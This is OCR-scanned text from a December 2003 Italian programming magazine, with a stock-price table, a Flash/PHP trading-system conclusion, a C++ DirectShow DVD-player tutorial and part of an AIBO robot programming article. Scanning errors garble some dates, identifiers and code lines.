27.13
27.89
26.85
27.75
513,300
27.75
6-Qct-03
27.00
27.50
26.92
27.17
481,300
27.17
3-Qct-03
26.00
27.15
25.82
26.95
1,676,400
26.95
2-Qct-03
25.00
25.93
24.81
25.86
757,000
25.86
1-Qtt-03
24.69
25.15
23.95
24.96
975,000
24.96
30-380-03
24.91
25.24
24.46
24.47
574,500
24.47
29- S 9 0-0 3
25.28
25.79
24.77
25.36
565,900
25.36
26- S 90-0 3
25.81
25.35
24.67
25.09
750,200
25.09
25- S 9 0-0 3
27.00
27.37
25.82
25.89
874,700
25.89
24- Se 0-0 3
28.28
2330
26.98
26.98
1,071,800
26.98
23- Se 0-0 3
26.58
23.32
26.52
28.28
1,637,700
28.28
:>2-Sen-03
26.47
26.91
26.03
26.65
362 400
26.65
Fig. 3: La creazione del movie e l'utilizzo del LineChart component.
Fig. 4: La pagina da cui effettueremo il grab dei dati.
CONCLUSIONI
Abbiamo visto come far comunicare Flash
MX con php e in che modo possiamo scam-
biarci oggetti strutturati e complessi.
Questa volta ci siamo scambiati delle infor-
mazioni relative a dei titoli e le abbiamo uti-
lizzate per impostare un trading system auto-
matico. Siamo riusciti ad evitare l'uso di
nostre stringhe proprietarie oppure di
costruire e di effettuare il parsing xml dele-
gando invece il lavoro a delle funzioni php.
Con un pizzico di programmazione OO
abbiamo creato uno scheletro logico ed ordi-
nato che potrebbe essere la base per qualsia-
si altra applicazione. La prossima volta vedre-
mo altre interessanti novità di interazione
flash - server. Arrivederci.
Demis Magoga
► 116/ Dicembre 2003
http://www.ioprogrammo.it
la gestione multimediale in Windows H ▼ ADVANCED EDITION
Le interfacce API per un DVD Player
Un lettore DVD
realizzato in C++
Un breve excursus per scoprire la struttura dei DVD e capire come
sia semplice realizzare un DVD-player. Un'occasione per migliorare
ed estendere le nostre applicazioni multimediali.
Prima di iniziare la realizzazione del nostro
DVD player dobbiamo aver chiari i concet-
ti di base, innanzitutto come è strutturato
un DVD e le differenze con i comuni CD-ROM.
Fisicamente il DVD ha le stesse caratteristiche di
un CD-ROM: ha un diametro di 12 centimetri e
ha uno spessore di 1.2 millimetri; la superficie
del disco è formata da una serie di parti lucide ed
opache in cui la transizione di queste aree (pit)
determina i dati contenuti nel CD /DVD.
In un CD-ROM le dimensioni dei pit è di 0,8
micrometri mentre la distanza tra una traccia e
quella adiacente è di 1,6 micrometri.
In un DVD, invece, la dimensione di un pit è di
0,4 micrometri (la metà del CD-ROM) mentre la
distanza tra una traccia e l'altra è di 0,7 micro-
metri (meno della metà) .
y^vr
Fig. 1: a) Dimensione pit CD. b) Dimensione pit DVD.
Si capisce perché i dati contenuti in un DVD
sono molti di più rispetto ai dati contenuti in un
CD. Questo spazio disponibile viene aumentato
dal fatto che si possono immagazzinare dati su
due strati (double-layer) dello stesso DVD (cam-
biando la focalizzazione del laser che deve legge-
re i pit). Per di più, i DVD possono essere utiliz-
zati su entrambe le facce (double-sided) .
DVD VIDEO
Il formato DVD Video comprende dati video,
audio ed informazioni di controllo. Ad esem-
pio è possibile visualizzare un filmato da
diverse angolazioni, selezionando lingue o
sottotitoli differenti, se le informazioni neces-
sarie sono presenti sul DVD Video. E' anche
possibile spostarsi in punti o capitoli differen-
ti del filmato. I lettori DVD standard sono in
grado di utilizzare tutte le caratteristiche dei
DVD Video. Su un PC si può riprodurre un DVD
Video solo se è installato un opportuno deco-
der hardware (MPEG-2). Sono stati definiti
alcuni parametri di base che permettono ai
lettori DVD Video di riconoscere indifferente-
mente dischi creati sfruttando tutte le possibi-
lità del formato (multicamera, multilingua,
interattività, etc.) e allo stesso tempo riprodur-
re correttamente DVD contenenti un semplice
filmato realizzati senza il supporto di produ-
zioni colossali.
Formato video
Il formato video comune a tutti i DVD Video è
MPEG-2 nella versione MP@ML {Mairi Profile
@ Mairi Level) . Il data rate può arrivare fino a
9,8 Mbps (completo di audio, sottotitoli ed
altre informazioni). I formati supportati sono
4:3 e 16:9.
Formato audio
Inizialmente si era deciso di utilizzare il for-
mato Dolby Digital (compressione AC-3) per i
paesi che utilizzano lo standard NTSC, ed il
formato audio MPEG-2 nei paesi standard
PAL. In seguito si è deciso di accettare entram-
bi i formati in Europa, semplificando il proces-
so di produzione e velocizzando la distribuzio-
ne. Il Dolby Digital supporta fino a 6 canali (il
sesto è assegnato al subwoofer, da cui si defi-
nisce comunemente il formato con 5.1) e
MPEG-2 fino a 8 (indicato con 7.1).
Ci CD □ WEB
DV0_Player.zip
''■■■• '
GLOSSARIO
DVD GRAPH
BUILDER
Le applicazioni devono
usare questo
componente per
costruire i filtri grafici
per la navigazione
e la riproduzione del
DVD-Video. Per la sua
creazione bisogna
usare CoCreatelnstance.
http://www.ioprogrammo.it
Dicembre 2003/117 ►
ADVANCED EDITION T la gestione multimediale in Windows
GLOSSARIO
IL COMPONENTE
GETDVDINTERFACE
Questo componente
recupera il puntatore
alla interfaccia
specificata.
HRESULT GetDvdlnterface
(REFIID riid, void
**ppvIF);
Parametri:
riid
[in] IID dell'interfaccia
specificata.
ppvIF
[out] Indirizzo del
puntatore all'interfaccia
recuperata.
Valori restituiti
Ritorna un valore
HRESULT che dipende
dall'implementazione
dell'interfaccia.
Parental Management Levels
Tutte le parti di un Dvd possono essere codifica-
te con Parental Management Level (PML) nume-
rate da uno ad otto. Otto è il livello massimo di
restrizione (per soli adulti) e uno è il valore mini-
mo (per tutte le età).
Altre informazioni
Oltre ai vantaggi pratici (qualità garantita nel
tempo, dimensioni contenute), uno dei vantaggi
principali del DVD Video è l'interattività: ad
esempio, sono supportate fino ad 8 versioni
audio (quindi 8 lingue differenti) e fino a 32 trac-
ce per i sottotitoli. Inoltre il filmato può essere
suddiviso in capitoli e si possono selezionare
fino a 9 posizioni angoli di visuale diversi, senza
introdurre alcun ritardo nella riproduzione.
Altre due funzioni importanti riguardano i codi-
ci regionali e la protezione dalla copia.
Vi sono 6 codici regionali che hanno lo scopo di
impedire la riproduzione dei DVD Video con un
certo codice su riproduttori che prevedono codi-
ci differenti.
APPLICAZIONI DVD
Le applicazioni realizzate in C/C++ usano le
Microsoft® DirectShow® Component Object
Model (COM) application programming interfa-
ce (API). DirectShow fornisce un componente
chiamato DVD Navigator che semplifica la navi-
gazione del DVD in C++.
Il DVD Navigator filter lavora su l'intero DVD-
Video, che è composto dai file presenti nella
directory VIDEO_TS. Diversamente da molti fil-
Cybeilink Audio Decoder
Sion Mcnags (ACM/ICM)
Line 21 I
Decoder I
DVD
Navigator
Video fr
Subpicture
Decoder
Overlay
Video
Mixer
Renderer
1
Audio
Decoder
DirectSound
Aud
o Renderer
Fig. 3: DVD filter graph su Windows Xp
Fig. 4: Schema generale del DVD filter graph.
tri DirectShow, che lavorano con file e stream
singoli, il DVD Navigator usa la struttura del
DVD-Video che è composta da titoli e capitoli.
CONFIGURAZIONE
DEI FILTRI GRAFICI
Nelle precedenti versioni delle DirectX, per la
costruzione delle applicazioni, non era necessa-
rio preoccuparsi dei dettagli dei filtri grafici
DVD perché, in tutti i casi, era usato un solo tipo
di renderizzatore video, l'Overlay Mixer. In
Windows XP è stato introdotto il Video Mixing
Renderer 7, e nelle DirectX 9 il Video Mixing
Renderer 9. Cosi ora ci sono tre differenti tipi di
renderizzatori tra cui scegliere. Il tipo di render
che l'applicazione deve usare è dipendente da
tre fattori:
1) Il sistema operativo.
2) Il tipo di MPEG-2 decoder.
3) La scheda video presente sul tuo computer.
Su Windows XP, 1' Overlay Mixer e il Video
Renderer sono sostituiti dal Video Mixing
Renderer Filter 7, e la Line 21 Decoder è sostitui-
ta dalla Line 21 Decoder 2 filter. Quando è pre-
sente il decoder hardware è direttamente con-
nesso alla scheda video tramite la porta video,
ciò permette la trasmissione dei dati del decoder
video direttamente alla memoria della scheda
video senza dover passare per la memoria cen-
trale. In tutti questi diagrammi, il DVD Navigator
è il filtro sorgente ed esegue i seguenti compiti:
• Legge le informazioni dal DVD-Video.
• Suddivide i video, l'audio e le subpicture in
stream separati.
• Invia gli stream ai grafici per ulteriori trat-
tamenti ed eventuali rendering.
• Informa l'applicazione degli eventi colle-
gati al DVD.
► 118/ Dicembre 2003
http://www.ioprogrammo.it
la gestione multimediale in Windows H ▼ ADVANCED EDITION
L'applicazione comunica e controlla il DVD
Navigator attraverso le interfacce che ci sono
messe a disposizione: IDvdControl2, i comandi
d'impostazione (metodi "set"), IDvdInfo2, chie-
de al DVD Navigator le infomazioni relative al
DVD (metodi "get"). Deve inoltre comunicare
con il filter graph principale attraverso
IMediaControl per avviare, bloccare o gestire il
graph. Vi sono altri filtri che consentono di
gestire la visualizzazione a schermo intero o per
controllare determinati eventi.
INDIVIDUARE IL
PERCORSO DEL DVD
All'avvio, il DVD Navigator automaticamente
cerca l'unità contenente il nostro filmato, inco-
minciando da C, cercando la cartella VIDEO_TS
nella directory principale. Nel caso in cui avessi-
mo più unità DVD sul nostro computer è neces-
sario usare SetDVDDirectory per impostare il
nostro percorso.
Per esempio:
SetDVDDirectory(L"e:\\video_ts");
DVD GRAPH BUILDER
Una volta definiti i puntatori ai filtri grafici, e
inizializzati a NULL, è necessario creare un'
istanza del DVD Graph Builder, costruire il
nostro DVD filter graph e ricevere i puntatori ai
vari filtri.
HRESULT hr;
// Crea un istanza dell'oggetto DVD Graph Builder,
hr = CoCreateInstance(CLSID_DvdGraphBuilder,
NULL,
CLSCTX_INPROC_SERVER, IIDJDvdGraphBuilder,
reinterpret_cast<void**>(&m_pIDvdGB));
// Costruisce il DVD filter graph.
AM_DVD_RENDERSTATUS buildStatus;
hr = m_pIDvdGB->RenderDvdVideovolume(
pszwDiscPath, m_dwRenderFlags, &buildStatus);
// Riceve il puntatore all'interfaccia DVD Navigator,
hr = m_pIDvdGB->GetDvdInterface(IID_IDvdInfo2,
reinterpret_cast<void**>(&m_pIDvdI2));
hr = m_pIDvdGB-
>GetDvdInterface(IID_IDvdControl2,
reinterpret_cast<void**>(&m_pIDvdC2));
// Riceve il puntatore al filtro grafico principale,
hr = m_pDvdGB->GetFiltergraph(&m_pGraph);
// Usa il puntatore m_pGraph per ricevere il puntatore
all'interfaccia IMediaControl,
hr = m_pGraph->QueryInterface(IID_IMediaControl,
reinterpret_cast<void**>(&m_pIMC));
// Riceve il puntatore a IMediaEventEx,
// usato per maneggiare il DVD e altri eventi dei filtri
grafici,
hr = m_pGraph->QueryInterface(IID_IMediaEventEx,
reinterpret_cast<void**>(&m_pME));
// Usa di nuovo il puntatore al costruttore grafico per
ricevere l'interfaccia IVideoWindow ,
// per gestire lo stile della finestra e il comportamento
dei messaggi dei filtri di renderizzazione video,
hr = m_pIDvdGB-
>GetDvdInterface(IID_IVideoWindow,
reinterpret_cast<void**>(&m_pIVW));
//Il puntatore alla Line21 per la gestione delle closed
captions.
hr = m_pDvdGB->GetDvdInterface(
IIDJAM Li ne21 Decoder, reinterpret_cast<void**>
(&pL21Dec));
INTERFACCIA
IDVDCOMTROL2
Il filtro sorgente DVD Navigator utilizza l'inter-
faccia IDvdControl2 per permettere alle appli-
cazioni di navigare ed eseguire i titoli del DVD-
Video. IDvdControl2 consente di gestire la
riproduzione del nostro DVD gestendo i coman-
di, i menù di navigazione e i PML.Questi sono
alcuni dei comandi principali, gli altri sono pre-
senti in DvdCore.cpp.
//Riproduce il filmato
HRESULT CDvdCore::Play()
{
//Riproduce il filmato, 1.0 è la velocità
H
m_pIDvdC2->PlayForwards(1.0, 0, NULL);
}
//Va ad un determinato capitolo
bool CDvdCore::PlayChapter(ULONG ulChap)
{
HRESULT hr = m_pIDvdC2->PlayChapter(ulChap,
DVD_CMD_FLAG_Block, NULL);
}
//Blocca l'esecuzione del filmato
bool CDvdCore: :Stop()
{
switch (m_eState)
GLOSSARIO
IL COMPONENTE
RENDERDVD
VIDEOVOLUME
Questo componente
renderizza il DVD-Video.
RenderDvdVideovolume(
LPCWSTR IpcwszPathName,
DWORD dwFlags,
AM_DVD_RENDERSTATUS
*pStatus
);
Parametri:
IpcwszPathName
[in] Puntatore al
percorso del DVD-Video
da riprodurre.
dwFlags
[in] Membro di
AM„DVD„GRAPrLFLAGS
indica il tipo di decoder
(hardware, software o
entrambi) da includere
nel filtro grafico.
Di default è AM DVD
HWDEC PREFER.
pStatus
[out] Puntatore alla
struttura AM_DVD_
RENDERSTATUS che
indica se si sono
verificati errori.
Valori restituiti
Ritorna un valore
HRESULT che dipende
dall'implementazione
dell'interfaccia.
http://www.ioprogrammo.it
Dicembre 2003/119 ^
ADVANCED EDITION T la gestione multimediale in Windows
GLOSSARIO
IL METODO
CETFILTERCRAPH
Questo metodo riceve
l'interfaccia
IGraphDuilder per il fil-
tro grafico usato dall'
oggetto costruttore
DVD-Video.
HRESULT GetFiltergraph(
IGraphBuilder **ppGB
);
Parametri:
ppGB
[out] Indirizzo del punta-
tore all'interfaccia
IGraphBuilder che il
costruttore grafico DVD-
Video sta usando.
Valori restituiti
Ritorna un valore HRE-
SULT che dipende dal-
l'implementazione del-
l'interfaccia. La corrente
implementazione
DirectShow restituisce
EJNVALIDARG se ppGB
non è valido.
SUL WEB
http://www,microsoft.com
/Developer/PRODINFO/
directx/dxm/help/ds/filtsamp/
C C++ Samp Apps.htm
http://www. itportal.it/
developer/vb/dvd/default.
asp
http://vwvw.ihhc.net/vis.
asp?xml=glossario#1 7
{
case Graph_Stopped2:
hr = m_pIDvdC2->SetOption(
DVD_ResetO
nStop
, TRUE);
hr = m_pIMC->Stop();
hr = m_pIDvdC2->SetOption(
DVD_ResetOr
Stop,
FALSE);
break;
}
}
//Riavvolge il filmato
bool CDvdCore: :Rewind()
{
m_
if (Playing == m_eState || Scanning
_eState)
= =
{
if (FAILED(m_pIDvdC2->PlayBackwards
[8.0, 0,
NULL)))
return false;
SetState(Scanning);
return true; }
}
ALTRE FUNZIONI
Per aver una miglior visione del nostro DVD-
Video è necessario aggiungere altre funzioni al
nostro player, come ad esempio la possibilità di
poterlo visualizzare a schermo intero e di poter
nascondere il cursore del mouse dopo un
tempo prestabilito di inattività.
//Visualizzazione a schermo intero
bool CDvdCore: :StartFullScreen()
{
HRESULT hr ;
// memorizza la posizione della finestra
LONG ILeft, ITop, IWidth, IHeight ;
hr = m_pIVW->GetWindowPosition(&ILeft, &ITop,
&IWidth, &IHeight) ;
ASSERT(SUCCEEDED(hr)) ;
SetRect(&m_RectOrigVideo, ILeft, ITop, ILeft +
IWidth, ITop + IHeight) ;
// salva lo stile originale
hr = m_pIVW->get_WindowStyle(&m_IOrigStyle) ;
ASSERT(SUCCEEDED(hr)) ;
hr = m_pIVW-
>getJ/VindowStyleEx(&mJOrigStyleEx);
ASSERT(SUCCEEDED(hr)) ;
// modifica lo stile della finestra
hr = m_pIVW->put_WindowStyle(mJOrigStyle &
-(WSJ30RDER | WS_CAPTION |
WS_THICKFRAME)) ; // rimuove questi stili
ASSERT(SUCCEEDED(hr)) ;
hr = m_pIVW-
>put_WindowStyleEx(m_IOrigStyleEx &
~(WS_EX_CLIENTEDGE | WS_EX_STATICEDGE
I
WS_EX_WINDOWEDGE |
WS_EX_DLGMODALFRAME) |
WS_EX_TOPMOST) ;
ASSERT(SUCCEEDED(hr)) ;
// allunga la finestra per adattarla alle dimensioni
dello schermo
LONG IScrnWidth =
GetSystemMetrics(SM_CXSCREEN);
LONG IScrnHeight =
GetSystemMetrics(SM_CYSCREEN);
hr = m_pIVW->SetWindowPosition(0, 0,
IScrnWidth, IScrnHeight) ;
ASSERT(SUCCEEDED(hr));
// avvia la funzione per nascondere il cursore del
mouse
m_dwMouseMoveTime = timeGetTime();
SetTimer(m_hWnd, MOUSETIMER, 2500, NULL);
m_bFullScreenOn = true;
return true ;
}
//Nasconde il puntatore del mouse
void CDvdCore: :ShowMouseCursor(bool bShow)
{
if (true == bShow) // mostra il cursore
{
while (mJMouseShowCount < 0)
{
mJMouseShowCount = : :ShowCursor(TRUE)
}
m_dwMouseMoveTime = timeGetTime() ;
}
else // nasconde il cursore
{
while (mJMouseShowCount >= 0)
{ mJMouseShowCount =
::ShowCursor(FALSE); }
}
CONCLUSIONI
Come avete notato realizzare un'applicazione
che ci consente di leggere.navigare e gestire un
DVD-Video è abbastanza semplice utilizzando i
filtri e le interfacce grafiche delle Direct Show.
Certamente era molto più comodo usare
l'activeX MsWebDVD e integrarlo in un'applica-
zione scritta in VisualBasic ma non avremmo
avuto la possibilità di personalizzare completa-
mente il nostro progetto. Al prossimo articolo!
Massimiliano Pizzola
► 120/ Dicembre 2003
http://www.ioprogrammo.it
Robot programming ■ T ADVANCED EDITION
La nuova frontiera dell'informatica: i robot
La programmazione
dei SONY AIBO
parte seconda
In questo secondo e ultimo appuntamento sulla programmazione
dei robot-cagnolino della Sony, gli AIBO, vedremo, tramite
un esempio, la programmazione dell'hardware.
Abbiamo visto nella precedente discussio-
ne sulla programmazione degli AIBO,
quali sono i principi di funzionamento
dei programmi sviluppati per questi simpatici
robot. In particolare si è visto come sia necessa-
rio utilizzare le librerie OPEN-R, che racchiudo-
no la logica di esecuzione del software nonché
tutte le funzioni utili per accedere all'hardware
del cane (sensori, motori di movimento, mi-
crofono, rete wireless ecc.). Un programma per
AIBO è un insieme di "oggetti C++ speciali" detti
"Core Classes" (CC), che vengono istanziati
all'accensione del robot e distrutti al suo spegni-
mento. Ogni oggetto CC si occupa di una funzio-
ne particolare (ad es: muovere la testa o le
zampe, comunicare tramite scheda di rete, cat-
turare immagini dalla telecamera ecc.); i vari
oggetti possono funzionare in maniera organica,
comunicando tra loro tramite un meccanismo di
"Soggetto - Osservatore" (Subject - Observer) in
cui un oggetto CC (il Subject) fa qualcosa e la
comunica a un altro oggetto CC (l'Observer) che
verosimilmente ne utilizzerà i risultati. Gli
oggetti CC sono quindi dei veri e propri pro-
grammi che vivono di vita propria e possono
essere tranquillamente paragonati ai cosiddetti
processi dei sistemi operativi dei comuni PC
(Windows, Linux ecc.).
Abbiamo visto, inoltre, che un oggetto C++ per
essere anche un oggetto CC deve avere alcune
caratteristiche, tra le quali:
1. Essere derivato dalla classe OObject.
2. Implementare quattro funzioni particolari:
DolnitQ, DoStartO, DoStopO e DoDestroyQ.
Queste funzioni sono richiamate, in que-
st'ordine, dal robot durante il ciclo di ese-
cuzione del software.
3. Mantenere i riferimenti ai suoi Observer e
ai suoi Subject (cioè gli oggetti CC di cui
esso è Observer).
Rinfrescate quindi le idee sull'argomento che
stiamo affrontando, dedichiamoci all'analisi di
un semplice, ma istruttivo, programmino per il
funzionamento dell'AIBO.
IIU UM BATTER D'OCCHI
Il programmino che analizzeremo si chiama
BlinkingLED ed è davvero molto semplice, tutta-
via rispetta una struttura di funzionamento ben
precisa, che rimane tale anche affrontando pro-
blematiche più complesse.
Si tratta di un software, composto da un unico
oggetto CC, che ha lo scopo (come è facile intui-
re dal nome) di accendere e spegnere alternati-
vamente i LED luminosi posti sulla testa del-
l'AIBO, che ne simulano gli occhi. Il codice di
questo programma fa parte degli esempi a corre-
do delle librerie OPEN-R scaricabili dal sito
http://openr.aibo .corti/ previa registrazione gra-
tuita. Si è deciso di optare per questa soluzione
in modo da dare la possibilità, a chi interessato,
di guardare per intero il codice del programma,
che, per ovvie ragioni, di spazio, non è possibile
riportare per intero qui.
Il file da scaricare si chiama OPEN_R_SDK-sam-
ple-1.1.3-rl.tar.gz (o versione successiva) e il
codice si trova all'interno della directory "sam-
ple/BlinkingLEDIBlinkingLED" .
La logica di funzionamento del programma è
banale e si può facilmente racchiudere nelle
poche istruzioni presenti all'interno delle fun-
zioni DolnitQ e DoStartO, che riportiamo di se-
guito:
OPEN-R
Le librerie OPEN-R
racchiudono la logica
di esecuzione del
software nonché tutte
le funzioni utili per
accedere all'hardware
del cane (sensori,
motori di movimento,
microfono, rete
wireless ecc.).
http://www.ioprogrammo.it
Dicembre 2003/121 ►
ADVANCED EDITION T
Robot programming
OStatus
BlinkingLED: :DoInit(const OSystemEvent& event) {
//...varie macro di inizializzazione qui...
OpenPrimitives();
NewCommandVectorData();
OStatus st = OPENR: :SetMotorPower(opowerON);
return oSUCCESS;
}
OStatus
BlinkingLED: :DoStart(const OSystemEvent& event) {
BlinkLEDQ;
blinkingLEDState = BLS_START;
//...altre macro di inizializzazione qui...
return oSUCCESS;
}
La funzione DoInitO (che è quella chiamata per
prima) sostanzialmente fa tre cose:
1. Apre le primitive di comando dei LED;
2. Alloca la memoria condivisa per utilizzare
tali primitive di comando;
3. Accende i motori dell'AIBO.
Il punto 1 è ottenuto tramite la funzione Open-
PrimitivesO, definita sempre all'interno della CC
BlinkingLED, che ha il seguente codice:
void
Bl
inkingLED:
:OpenPrimitives()
{
for (int i =
= 0;
i < NUM_LEDS; i++)
{
OStatu
s result = OPENR:
LED_
:OpenPrimitive(
_LOCATOR[i], &ledID[i]);
if (resi
ilt ! =
: oSUCCESS) {/*... messaggio di
errore qui...*/
}
}
}
in pratica essa non fa altro che richiamare, per ogni
LED (NUM_LED è uguale a 7, tanti sono i LED del-
l'AIBO) una funzione OPEN-R chiamata Open-
PrimitiveQ che ha lo scopo, per l'appunto, di abili-
tare controllo di una primitiva dell'AIBO. Una pri-
mitiva di controllo è individuata da una stringa detta
"locator"; ad esempio; per i LED le primitive sono
definite nel file BlinkingLED. h come segue:
static const char* const LED_LOCATOR[] =
{
"PRM:/rl/cl/c2/c3/ll-LED2:ll",
"PRM:/rl/cl/c2/c3/l2-LED2:l2",
"PRM:/rl/cl/c2/c3/l3-LED2:l3",
"PRM:/rl/cl/c2/c3/l4-LED2:l4",
"PRM:/rl/cl/c2/c3/l5-LED2:l5",
"PRM:/rl/cl/c2/c3/l6-LED2:l6",
"PRM:/rl/cl/c2/c3/l7-LED2:l7",
};
I vari elementi dell' array LED_LOCATOR[] sono le
stringhe di identificazione delle primitive dei LED
da 1 a 7 (come si può intuire dai nomi, sebbene non
siano del tutto esplicativi). Ogni elemento hardware
del robot, controllabile da software, ha un suo loca-
tor. Ad esempio per l'articolazione principale della
zampa posteriore sinistra abbiamo:
"PRM:/r3/cl-Joint2:jl"
mentre per il motorino che
ruotare abbiamo:
permette
alla testa di
"PRM:/rl/cl-Joint2:jl"
Insomma, come si può vedere queste primitive di
controllo non sono per nulla "di alto livello", ma
partendo da esse è sempre possibile costruirsi delle
funzioni più amichevoli come GiraTestaQ o Muo-
viZampaQ. Tornando alla nostra funzione DoInitO
scopriamo che, una volta aperte le primitive di con-
trollo, è necessario assegnare loro una zona di me-
moria condivisa (shared memory) per poterle utiliz-
zare. Il perché di questa operazione è presto detto:
assegnando una zona di memoria condivisa tra
nostro programma e la primitiva di controllo del di-
spositivo hardware, è possibile comandare quest'ul-
timo semplicemente scrivendo il comando apposito
nella zona di memoria riservata. Il meccanismo ri-
corda un po' il metodo utilizzato dai "demo coders"
ai tempi di MS-Dos: in quel caso, per disegnare un
pixel a schermo, veniva allocata una zona di memo-
ria corrispondente alla memoria della scheda video
e settato il relativo byte con il valore RGB esadeci-
male appropriato (da questi esempi si capisce che
sto diventando vecchio...). L'assegnazione di questa
zona di memoria è eseguita tramite la funzione
NewCommandVectorDataO della classe Blinking-
LED. Il codice che a noi interessa di questa funzione
è il seguente:
► 122/Dicembre 2003
http://www.ioprogrammo.it
Robot programming ■ T ADVANCED EDITION
!++)
void
BlinkingLED: :NewCommandVectorData()
{
OStatus result;
MemoryRegìonlD cmdVecDatalD;
OCommandVectorData* cmdVecData;
for (int i = 0; i < NUM_COMMAND_VECTOR;
{
result = OPEI\IR::NewCommandVectorData(
NUM_LEDS, &cmdVecDataID, &cmdVecData);
//...controllo dell'errore qui...
region[i] = new RCRegion(cmdVecData->
vectorlnfo.memRegionlD, cmdVecData->
vectorlnfo. offset, (void*)cmdVecData,
cmdVecData->vectorInfo.totalSize);
cmdVecData->SetNumData(NUM_LEDS);
for (int j = 0; j < NUM_LEDS; j+ + )
{
OCommandlnfo* info = cmdVecData->GetInfo(j);
info->Set(odataLED_COMMAND2, ledID[j], 1);
OCommandData* data = cmdVecData->
GetData(j);
OLEDCommandValue2* vai =
(OLEDCommandValue2*)data->value;
if (i % 2 == 0)
{val[0].led = (j % 2 == 0) ? oledON : oledOFF;}
else
{val[0].led = (j % 2 == 0) ? oledOFF : oledON;}
val[0].period = 64; // 8ms * 64 = 512ms
}
}
}
Il codice di questa funzione è quello più complesso
dell'intero programma e spiegarlo punto per punto
tutto sarebbe troppo lungo. Cerchiamo di focalizza-
re i punti più importanti: la prima istruzione degna
di nota è
OPENR::NewCommandVectorData(NUM_LEDS,
&cmdVecDataID, &cmdVecData);
che è la funzione OPEN-R che esegue l'allocazione
di memoria condivisa per le primitive. Questa fun-
zione sostanzialmente prende in input il numero di
comandi assegnabili nella memoria condivisa crea-
ta (nel nostro caso un comando per ogni LED, quin-
di passiamo NUM_LEDS cioè 7) e restituisce, tra-
mite side-effect sulle variabili passate, un identifica-
tore per la memoria allocata {&cmdVecDataID) e
l'indirizzo al quale si trova il vettore di comando che
possiamo sovrascrivere per impartire i nostri co-
mandi [&cmdVecDatd). Per vettore di comando
non si intende altro che un insieme di comandi
accorpati tra loro. Le zone di memoria allocate ven-
gono poi immesse in un vettore [regioni]) di oggetti
RCRegion per una più facile reperibilità successiva.
Gli oggetti RCRegion mantengono una rappresen-
tazione della memoria condivisa dell'AIBO e forni-
scono tutta una serie di funzioni utili per la gestione
della stessa, anche se in questo specifico esempio
non se ne utilizza nessuna in particolare; in ogni
caso è bene sapere della loro esistenza se davvero si
vuole sviluppare software OPEN-R, in quanto sono
molto utili e utilizzati. La porzione di codice nella
quale si decide se un LED deve essere acceso o spen-
to è quella all'interno dell'istruzione "if. Si può in-
fatti vedere che, se il vettore di comando è pari (con-
dizione (i%2== 0)) vengono accesi i LED pari (con
l'istruzione val[0].led = Q % 2 == 0) ? oledON :
oledOFF;) altrimenti quelli dispari; viceversa per
l'altro vettore di comando (i vettori di comando
sono soltanto due, infatti NUM_COMMAND_
VECTOR == 2). Con questo piccolo trucco si ottie-
ne l'accensione alternata dei LED, per una durata di
circa mezzo secondo (64 periodi da 8 millisecon-
di l'uno = 512 millisecondi). Questi valori vengono
impostati su un oggetto di tipo OLEDCommand-
Value2 che è per l'appunto deputato alla gestione
dei comandi ai LED dell'AIBO. Nuovamente si può
notare come l'utilizzo di queste primitive non sia del
tutto "user-friendly" ma bisogna tenere conto che
questa difficoltà di programmazione si può tradurre
in una maggiore efficienza del codice prodotto, cosa
che, per le risorse limitate del robot in questione,
può essere di vitale importanza. La DoInitQ si chiu-
de con una chiamata alla funzione:
OPENR: :SetMotorPower(opowerON);
che, come è facile capire, è la funzione nativa OPEN-
R che serve ad accendere tutti i motorini elettrici
dell'AIBO, compresi i LED (è del tutto inutile impar-
tire comandi a dei dispositivi spenti...).
LET'S START!
Per quanto riguarda l'altra funzione "magica" cui
abbiamo accennato, e cioè DoStartf), possiamo
dire che essa, oltre alle inizializzazioni del caso effet-
tuate tramite macro predefinite, non fa altro che
http://www.ioprogrammo.it
Dicembre 2003/123 ►
ADVANCED EDITION T ■ Robot programming
?»> CONTATTA
t L'AUTORE
Se avete consigli,
suggerimenti o
considerazioni scrivete
pure a:
alfredo.marroccelli®
ioproqrammo.it
per esprimere la
vostra.
chiamare un'altra funzione dell'oggetto Blinking-
LED, e precisamente BlinkLEDO il cui codice è ri-
portato di seguito:
void
BlinkingLED::BlinkLED() {
static int index = -1;
if (index == -1) { // BlinkLEDO chiamata per la
prima volta
index = 0;
subject[sbjBlink]->SetData(region [index]);
index++; }
subject[sbjBlink]->SetData(region [index]);
subject[sbjBlink]->NotifyObservers();
index+ + ;
index = index % NUM_COMMAND_VECTOR;
Avendo capito il funzionamento di NewCom-
mandVectorData() e il meccanismo di impartizio-
ne di comandi tramite scrittura in memoria condivi-
sa del comando stesso da eseguire, comprendere il
comportamento di BlinkLEDO è davvero semplice.
Questa funzione non fa altro che impartire il vettore
di comando 1 quando l'indice index è uguale a e il
vettore di comando 2 quando index è 1.
Ovviamente questo avviene tramite scrittura in
memoria condivisa, questa scrittura è effettuata con
la funzione:
subject[sbjBlink]->SetData(region [index]);
questa funzione prende il Subject della classe
BlinkingLED (subject[sbjBlink]) e imposta come
comando, tramite la funzione SetDataQ, il coman-
do contenuto nella regione di memoria condivisa
puntata da region [index], che abbiamo impostato
in precedenza nella funzione NewCommandVec-
torDataQ. Fatto questo viene chiamata, sempre sul
Subject di BlinkingLED la funzione NotifyObser-
versQ che "risveglia" tutti gli Observer di Blinking-
LED notificandogli che è stato impostato un nuovo
comando. Da notare che con l'istruzione
index = index % NUM_COMMAND_VECTOR;
non si fa altro che forzare la variabile index ad assu-
mere ripetutamente i valori e 1. Già, vi starete
chiedendo, ma perché "ripetutamente", se non è
presente alcun ciclo che richiami in continuazione
BlinkLEDO per effettuare il cambio alternativo di
LED accesi e spenti? In realtà il ciclo c'è ma è nasco-
sto! O meglio, è ottenuto tramite un meccanismo
particolare: l'Observer di BlinkingLED è... Blin-
kingLED stesso! In pratica quello che succede è che
l'oggetto CC BlinkingLED (che, ricordiamo, è l'uni-
co del programma) notifica ogni volta a se stesso di
avere cambiato la situazione dei LED e, come rispo-
sta a questa notifica, effettua un'altra modifica, spe-
culare, alla memoria condivisa. Ovviamente questa
nuova modifica genera un'altra notifica, sempre a se
stesso, e si ripete così all'infinito questo ciclo che
realizza, a tutti gli effetti, il lampeggiamento dei LED.
LA RICETTA
Possiamo dire che, sebbene l'esempio analizzato sia
molto semplice, è tuttavia possibile individuare una
specie di "ricetta" da potere seguire ogni volta che si
accede a un dispositivo hardware dell'AIBO. Questa
ricetta è presente anche nel nostro BlinkingLED e
la possiamo riassumere nei seguenti semplici passi:
1. Aprire le primitive che ci interessano (l'e-
lenco delle primitive è presente nella docu-
mentazione ufficiale).
2. Assegnare a ogni primitiva una zona di me-
